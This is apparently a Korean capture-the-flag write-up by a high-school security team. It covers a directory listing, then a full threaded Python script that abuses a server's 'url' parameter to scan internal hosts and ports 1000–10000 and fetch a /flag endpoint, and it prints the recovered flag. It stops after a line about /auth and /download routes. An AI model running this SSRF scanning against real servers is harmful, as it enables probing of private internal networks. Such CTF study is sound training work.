Team information:
Team. 새우를좋아하는태우는새우를태우네 (ID: 44)
Affiliation. 선린인터넷고등학교 정보보호과

?list 로 향하는 HTML Snippet을 찾을 수 있습니다.

?list 로 GET 접근 시 위 사진과 같이 Directory listing 화면이 뜹니다.

reports에 접근 시 위와 같이 localhost:(1000~10000) 까지 서버가 동작중이고, /flag 엔드포인트에서 30Byte의 값이 있음을 확인할 수 있습니다.
Port number을 Bruteforce 하여 해당 endpoint에 모두 GET 요청을 보낸 뒤 플래그를 받아오겠습니다.
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading
TARGET = "<http://3.36.10.125/>"
HOSTNAMES = ["localhost", "127.0.0.1", "internal", "192.168.200.110"]
PORT_RANGE = range(1000, 10001)
TIMEOUT = 2
MAX_WORKERS = 100 # 병렬 스레드 수 제한
stop_event = threading.Event()
def check_url(hostname, port):
if stop_event.is_set():
return None
url = f"http://{hostname}:{port}/flag"
try:
r = requests.get(TARGET, params={"url": url}, timeout=TIMEOUT)
if r.status_code == 200 and len(r.text.strip()) > 0:
stop_event.set()
return (url, r.status_code, len(r.text), r.text)
else:
print(port)
except requests.exceptions.RequestException:
return None
def scan():
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = [
executor.submit(check_url, hostname, port)
for hostname in HOSTNAMES
for port in PORT_RANGE
]
for future in as_completed(futures):
result = future.result()
if result:
url, status, size, text = result
print(f"[+] {url} -> {status} ({size}B)")
print(f"[+] Response:\\n{text}")
break
if __name__ == "__main__":
scan()

http://internal:5090/flag 에서 flag가 나왔습니다.
flag{d3ee0e52ce5563404d10c4425532e3f61641fdf81ea8fc53e314f8852379d0004786bbb368eae4c77fc76bed595ed2ce7a4c35e86122f00352413162aafb}
코드 분석을 해보면 애플리케이션 주요 라우트는 /auth(인증)과 /download(파일 다운로드)입니다.